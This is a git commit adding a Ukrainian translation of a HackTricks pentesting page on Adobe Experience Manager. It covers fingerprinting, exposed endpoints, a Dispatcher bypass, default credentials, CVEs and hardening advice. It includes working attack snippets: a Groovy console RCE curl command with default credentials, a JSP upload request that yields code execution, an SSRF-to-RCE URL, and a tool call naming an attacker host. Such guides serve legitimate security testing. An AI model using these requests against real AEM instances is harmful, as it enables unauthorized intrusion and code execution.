Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex

This commit is contained in:
Translator 2025-07-30 12:13:39 +00:00
parent 50878b80cc
commit c45eeb4837

View File

@ -1,5 +1,117 @@
{{#include ../../banners/hacktricks-training.md}}
Знайдіть вразливості та неправильні налаштування за допомогою [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)
# AEM (Adobe Experience Manager) Pentesting
{{#include ../../banners/hacktricks-training.md}}
> Adobe Experience Manager (AEM, частина Adobe Experience Cloud) є корпоративною CMS, яка працює на базі Apache Sling/Felix (OSGi) та Java Content Repository (JCR).
> З точки зору атакуючого, екземпляри AEM дуже часто відкривають небезпечні кінцеві точки розробки, слабкі правила Dispatcher, стандартні облікові дані та довгий список CVE, які виправляються щоквартально.
Список перевірки нижче зосереджується на **зовнішньо доступній (без аутентифікації) атакуючій поверхні**, яка постійно з'являється в реальних випадках (2022-2025).
---
## 1. Fingerprinting
```
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
```
Інші швидкі індикатори:
* `/etc.clientlibs/` статичний шлях присутній (повертає JS/CSS).
* `/libs/granite/core/content/login.html` сторінка входу з банером “Adobe Experience Manager”.
* `</script><!--/* CQ */-->` коментар внизу HTML.
---
## 2. Високоякісні неавтентифіковані кінцеві точки
Шлях | Що ви отримуєте | Примітки
---- | ------------- | -----
`/.json`, `/.1.json` | JCR вузли через **DefaultGetServlet** | Часто заблоковано, але *Dispatcher bypass* (див. нижче) працює.
`/bin/querybuilder.json?path=/` | QueryBuilder API | Витік дерева сторінок, внутрішні шляхи, імена користувачів.
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix консоль | 403 за замовчуванням; якщо відкрито та знайдено облікові дані ⇒ завантаження пакета RCE.
`/crx/packmgr/index.jsp` | Менеджер пакетів | Дозволяє автентифіковані контент-пакети → завантаження JSP корисного навантаження.
`/etc/groovyconsole/**` | AEM Groovy Console | Якщо відкрито → довільне виконання Groovy / Java.
`/libs/cq/AuditlogSearchServlet.json` | Журнали аудиту | Розкриття інформації.
`/libs/cq/ui/content/dumplibs.html` | Вивантаження ClientLibs | Вектор XSS.
### Трюк обходу Dispatcher
Більшість виробничих сайтів знаходяться за *Dispatcher* (реверс-проксі). Його правила фільтрації можна обійти, додавши дозволене статичне розширення **після крапки з комою або закодованого нового рядка**:
```
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
```
Один запит, як зазначено вище, часто розкриває вузли профілю користувача з адресами електронної пошти. P-T Partners опублікували хороші рекомендації щодо цієї вразливості. 【】
---
## 3. Загальні неправильні налаштування (все ще актуальні у 2025 році)
1. **Анонімний POST сервлет** `POST /.json` з `:operation=import` дозволяє створювати нові вузли JCR. Блокування `*.json` POST у Dispatcher вирішує цю проблему. 【】
2. **Профілі користувачів, доступні для всіх** за замовчуванням ACL надає `jcr:read` на `/home/users/**/profile/*` всім.
3. **Стандартні облікові дані** `admin:admin`, `author:author`, `replication:replication`.
4. **WCMDebugFilter** увімкнено ⇒ відображений XSS через `?debug=layout` (CVE-2016-7882, все ще виявляється на застарілих установках 6.4).
5. **Відкритий Groovy Console** віддалене виконання коду шляхом надсилання Groovy скрипту:
```bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
```
---
## 4. Останні вразливості (каденція сервіс-паків)
Квартал | CVE | Вразливі | Вплив
------- | --- | -------- | ------
Грудень 2024 | **CVE-2024-43711** | 6.5.21 та раніше | Неправильна валідація введення → **Випадкове виконання коду** (вимагає авторизації з низькими привілеями). 【】
Грудень 2024 | CVE-2024-43724/26 | 6.5.21 та раніше | DOM / Збережений XSS у Move Page Wizard. 【】
Грудень 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS на основі DOM через підроблений URL. 【】
Грудень 2022 | CVE-2022-30683 | ≤ 6.5.13 | Дизайнерська помилка криптографії → розшифрування секрету (потребує облікових даних з низькими привілеями). 【】
Завжди перевіряйте бюлетень *APSB*, що відповідає сервіс-паку клієнта, і запитуйте останній **6.5.22** або *Cloud Service 2024.11*.
---
## 5. Фрагменти експлуатації
### 5.1 RCE через обхід диспетчера + завантаження JSP
Якщо анонімне записування можливе:
```
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
```
Тепер запитайте `/content/evil.jsp` JSP виконується з користувачем процесу AEM.
### 5.2 SSRF до RCE (історичний < 6.3)
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
`aem_ssrf2rce.py` з **aem-hacker** автоматизує весь ланцюг. 【】
---
## 6. Інструменти
* **aem-hacker** скрипт для енумерації, підтримує обхід диспетчера, виявлення SSRF, перевірки стандартних облікових записів та інше.
```bash
python3 aem_hacker.py -u https://target --host attacker-ip
```【】
* **Content Brute-force** рекурсивно запитувати `/_jcr_content.(json|html)`, щоб виявити приховані компоненти.
* **osgi-infect** завантажити шкідливий OSGi пакет через `/system/console/bundles`, якщо доступні облікові дані.
---
## 7. Контрольний список посилення безпеки (для рекомендацій у вашому звіті)
1. Тримайте інстанцію на **останній кумулятивній службі** (на липень 2025: 6.5.22).
2. Видаліть/змініть стандартні облікові записи; впровадьте SSO/SAML.
3. Посиліть **фільтри диспетчера** забороніть `;`, закодовані нові рядки та `*.json` або `*.querybuilder.json` для анонімних користувачів.
4. Вимкніть або захистіть консолі (`/system/console`, `/crx/*`, `/etc/groovyconsole`) за допомогою списків дозволених IP.
5. Застосуйте пакет *Anonymous Permission Hardening*, надісланий Adobe.
## Посилання
* Adobe Security Bulletin APSB24-69 “Оновлення безпеки для Adobe Experience Manager (грудень 2024)”.
* 0ang3el інструмент aem-hacker (GitHub).
{{#include ../../banners/hacktricks-training.md}}